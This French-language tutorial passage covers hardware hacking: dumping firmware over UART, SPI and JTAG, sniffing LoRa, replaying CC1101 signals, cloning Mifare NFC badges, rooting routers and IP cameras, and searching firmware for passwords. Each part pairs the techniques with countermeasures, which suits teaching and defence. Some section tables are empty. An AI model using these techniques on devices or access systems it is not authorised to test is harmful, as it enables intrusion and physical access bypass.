Contre-mesures : Les systèmes modernes utilisent des rolling codes (Sub-GHz) et les téléphones récents alertent sur les trackers inconnus.

4.7 Synthèse – Évolution 2026

🔍 Partie 5 – Reverse Hardware Engineering

5.1 Méthodologie d'analyse d'un appareil

Appareil cible
   │
   ├─ 1. Identifier le microcontrôleur (datasheet, brochage)
   ├─ 2. Tracer les rails d'alimentation (continuité)
   ├─ 3. Repérer les points de test UART (tensions, signaux carrés)
   ├─ 4. Connecter un analyseur logique / oscilloscope
   ├─ 5. Dumper le firmware (UART, SPI, JTAG, glitch)
   └─ 6. Analyser le binaire (strings, binwalk, Ghidra)

5.2 Trouver UART debug

• Rechercher des points de test carrés sur le PCB, souvent 4 trous (VCC, GND, TX, RX).
• Mesurer la tension : TX oscille entre 0 et 3.3V/5V quand l'appareil démarre.
• Connecter un convertisseur USB-UART (FTDI) avec la bonne vitesse (souvent 115200, 57600, 9600).
• Exemple de session miniterm : python -m serial.tools.miniterm /dev/ttyUSB0 115200

5.3 Dumper la flash SPI

Matériel : Analyseur logique, pompe à dessouder, lecteur SPI (ex: CH341A).

1. Identifier la puce flash (souvent 8 broches, marquée 25xx, W25Q, MXIC).
2. Noter les connexions : CS, SCK, MOSI, MISO, VCC, GND.
3. Soit dessouder et lire avec un programmateur, soit sniffer les communications pendant le boot.
4. Utiliser Sigrok avec le protocole SPI pour capturer les données.
5. Reconstituer le firmware avec binwalk pour extraire les partitions.

5.4 Utiliser JTAG/SWD

• Repérer les points de test nommés TMS, TCK, TDI, TDO (JTAG) ou SWDIO, SWCLK (SWD).
• Connecter un debugger (ex: ST-Link, J-Link) et utiliser OpenOCD.
• Exemple de commande OpenOCD pour lire la mémoire : flash read_bank 0 firmware.bin

5.5 Exemple de sniff SPI avec Python (pysigrok)

# Nécessite sigrok-cli installé
import subprocess

def capture_spi(channels="CS:SCK:MOSI:MISO", samplerate=1e6, time=10):
    cmd = f"sigrok-cli --driver fx2lafw --config samplerate={samplerate} "
    cmd += f"--channels {channels} --time {time} --output-file spi_data.sr"
    subprocess.run(cmd, shell=True)

# Puis analyser avec PulseView

Contre-mesures : Désactiver les interfaces de debug en production, chiffrer le firmware, utiliser des bootloaders signés.

📡 Partie 6 – RF Hacking avancé

6.1 Panorama des technologies RF

6.2 Projet : Sniff LoRa avec SX1276 et ESP32

Objectif : Capturer des trames LoRa (non chiffrées) de capteurs environnementaux.

• Matériel : ESP32 + module SX1276 (ou TTGO LoRa32).
• Bibliothèque : RadioLib.
• Code exemple :

#include 
#include 

void setup() {
  Serial.begin(115200);
  if (!LoRa.begin(868E6)) { // Fréquence Europe
    Serial.println("Erreur LoRa");
    while(1);
  }
  LoRa.setSpreadingFactor(12);
}

void loop() {
  int packetSize = LoRa.parsePacket();
  if (packetSize) {
    while (LoRa.available()) {
      Serial.write(LoRa.read());
    }
    Serial.println();
  }
}

6.3 Projet : Replay de télécommande avec CC1101

• Matériel : Arduino + CC1101.
• Utiliser la bibliothèque ELECHOUSE_CC1101 pour capturer un signal, le stocker en EEPROM, puis le rejouer avec SendData().
• Attention aux rolling codes (nécessite des techniques plus avancées).

6.4 Projet : Clonage NFC avec PN532

• Matériel : PN532 (module I2C/SPI) + ESP32.
• Utiliser la bibliothèque Adafruit_PN532 pour lire un tag Mifare Classic (non crypté) et le copier sur un tag vierge.
• Code simplifié :

#include 
#include 
Adafruit_PN532 nfc(PN532_SCK, PN532_MISO, PN532_MOSI, PN532_SS);

void setup() {
  nfc.begin();
  nfc.SAMConfig();
}
void loop() {
  uint8_t uid[7]; uint8_t len;
  if (nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &len)) {
    // Lire les blocs et écrire sur un autre tag
  }
}

6.5 Contre-mesures RF

• Chiffrement des trames (AES, rolling codes).
• Vérification de l'authenticité des signaux (signature).
• Blindage des équipements sensibles.

🏠 Partie 7 – IoT Exploitation

7.1 Exemples de cibles IoT

• Routeurs / boxes : UART debug souvent accessible, extraction de firmware via SPI, recherche de backdoors.
• Caméras IP : ports série, extraction de mots de passe, injection de firmware malveillant.
• Serrures connectées : analyse BLE, rejeu de commandes, glitch.
• Enceintes connectées : extraction des clés WiFi, écoute des commandes vocales.

7.2 Méthodologie d'attaque sur un routeur

1. Ouvrir le boîtier, identifier le processeur (ex: Broadcom, Qualcomm).
2. Chercher des points de test UART (souvent 4 pads).
3. Connecter un adaptateur USB-UART, lancer minicom pour obtenir un shell root.
4. Dumper la flash SPI avec un programmateur (CH341A).
5. Analyser le firmware avec binwalk, extraire le système de fichiers.
6. Chercher des mots de passe hardcodés, des vulnérabilités connues.

7.3 Exemple : exploitation d'une caméra IP

• Identifier le firmware (souvent sur une puce SPI).
• Sniffer les communications avec le cloud (Wireshark).
• Rechercher des failles dans le serveur web embarqué (buffer overflow).
• Injecter un payload pour obtenir un shell.

7.4 Contre-mesures IoT

• Désactiver les interfaces de debug en production.
• Chiffrer le firmware et vérifier les signatures.
• Mettre à jour régulièrement.
• Segmenter les réseaux (IoT isolé).

⚙️ Partie 8 – Techniques d'attaque sur PCB

8.1 Wire probing

• Utiliser des sondes fines pour accéder à des signaux sur des broches fines (ex: QFN, TQFP).
• Nécessite un microscope et une main stable.
• Permet de capter des signaux sans dessouder.

8.2 Micro-soldering

• Souder des fils très fins (38 AWG) sur des points de test ou directement sur des broches de CI.
• Utiliser de la flux et un fer à souder à température contrôlée.
• Technique utilisée pour ajouter des points de connexion pour UART, SPI, JTAG.

8.3 Chip removal

• Dessouder une puce flash ou un microcontrôleur pour le lire sur un programmateur externe.
• Utiliser un pistolet à air chaud ou une station de dessoudage.
• Risque d'endommager le PCB ou la puce.

8.4 Décapage de chip (decapping)

• Technique de laboratoire pour exposer le die et l'analyser au microscope.
• Nécessite acide nitrique, acétone, et équipement de sécurité lourd.
• Permet de lire des ROMs, identifier des fusibles, reverse-engineer le masque.

8.5 Contre-mesures

• Utiliser des boîtiers BGA difficiles à sonder.
• Potting (enrobage de résine) pour empêcher l'accès aux pistes.
• Détection de tentative d'ouverture (switches, capteurs de lumière).

💾 Partie 9 – Firmware Extraction

9.1 Méthodes d'extraction

9.2 Exemple : extraction via UART

• Trouver les points UART, connecter un adaptateur.
• Identifier la vitesse (souvent 115200).
• Lors du boot, interrompre le bootloader (appuyer sur une touche).
• Utiliser des commandes comme flash read ou dump pour extraire.

9.3 Exemple : lecture SPI avec CH341A

• Identifier la flash, noter le brochage.
• Soit dessouder, soit utiliser des pogo pins pour contacter les broches.
• Utiliser le logiciel AsProgrammer ou flashrom.
• Commande : flashrom -p ch341a_spi -r firmware.bin

9.4 Analyse du firmware

• binwalk firmware.bin pour identifier les systèmes de fichiers.
• strings -n 8 firmware.bin | grep -i password pour chercher des secrets.
• Désassemblage avec Ghidra (charger avec l'architecture appropriée).

9.5 Contre-mesures

• Chiffrement du firmware (AES).
• Signature avec clé privée.
• Stockage dans une zone protégée (OTP, eFuse).

🛡️ Partie 10 – Contre-mesures hardware (pour défenseurs)

10.1 Tableau synthétique attaque / défense

10.2 Mise en œuvre d'un détecteur de glitch simple

• Comparateur rapide (TLV3501) surveillant la tension d'alimentation.
• Si variation > seuil en < 1 µs, déclencher une alarme ou un reset.
• Code conceptuel pour STM32 :

void EXTI0_IRQHandler(void) {
    if (__HAL_GPIO_EXTI_GET_IT(GPIO_PIN_0)) {
        // Glitch détecté : effacer les secrets, reboot
        HAL_GPIO_WritePin(LED_ALERT_GPIO_Port, LED_ALERT_Pin, SET);
        NVIC_SystemReset();
    }
}

10.3 Bonnes pratiques pour les fabricants

• Suivre les guides de sécurité hardware (ex: NIST, PSA Certified).
• Effectuer des tests de pénétration physiques réguliers.
• Prévoir des mises à jour sécurisées du firmware.

🧪 Exercices supplémentaires

11.1 Reverse d'un routeur

Prenez un vieux routeur, ouvrez-le, identifiez le CPU et la flash. Trouvez les points UART, connectez-vous, tentez d'obtenir un shell. Dump la flash avec CH341A.

11.2 Sniff LoRa

Avec deux modules LoRa, faites communiquer un émetteur et un récepteur. Placez un troisième module en mode sniffer (même fréquence, même spreading factor) et capturez les trames.

11.3 Clonage NFC

Avec un PN532, lisez un badge Mifare Classic (si non protégé), puis écrivez les données sur un tag vierge. Testez l'ouverture d'une porte de test.

11.4 Simulation de glitch sur STM32

Programmez un STM32 avec une vérification de mot de passe. Utilisez un Pico Glitcher pour tenter de contourner la vérification (avec un oscilloscope pour régler les paramètres).

11.5 Détection de tracker

Flachez ESP32 Marauder, activez le module AirTag Monitor. Promenez-vous avec un AirTag dans la poche et observez la détection.

🎯 Conclusion – Leçons apprises

L'électronique est le pendant physique du hacking logiciel. Maîtriser les composants, la soudure et la conception de circuits permet de créer des outils d'attaque discrets et efficaces, mais aussi de mieux se défendre. Les projets présentés ici couvrent un large spectre : de l'interception radio à l'injection de commandes USB, en passant par l'ouverture de serrures. La connaissance de ces techniques est essentielle pour les professionnels de la cybersécurité, car elle permet d'anticiper les vecteurs d'attaque réels.

La frontière entre le hardware et le software est la nouvelle ligne de front. La formation continue et la pratique en laboratoire sont les seuls moyens de rester à jour face à des adversaires de plus en plus créatifs.

Références et ressources (mises à jour 2025-2026)

• [1] Hackaday (oct 2024) – PicoGlitcher : A Raspberry Pi Pico As A Glitching Tool
• [2] IOActive (juil 2025) – Pico 2 Fault Injection (recherche "IOActive Pico 2 FI")
• [3] Blog SySS (févr 2025) – Voltage Glitching with the Pico Glitcher and Findus
• [4] M. Kesenheimer – Pico Glitcher v2
• [5] USENIX Security 2025 – Draschbacher et al. "ChoiCeJaCking: Compromising Mobile Devices through Malicious Chargers like a Decade ago"
• [6] Kaspersky (mai 2025) – "ChoiceJacking" sur leur blog
• [7] ESP32 Marauder – GitHub
• [8] CYD ESP32 AirTag Scanner – GitHub
• [9] IOActive Black Hat 2025 – Glitch.IO
• [10] findus (PyPI) – https://pypi.org/project/findus et documentation
• [11] GreatFET – Great Scott Gadgets
• [12] Flipper Zero – Site officiel
• [13] RTL-SDR – Site
• [14] Sigrok – Site
• [15] Arduino – Site
• [16] Raspberry Pi Pico – Page officielle
• [17] CEA – Side-Channel based Reverse-Engineering (publications)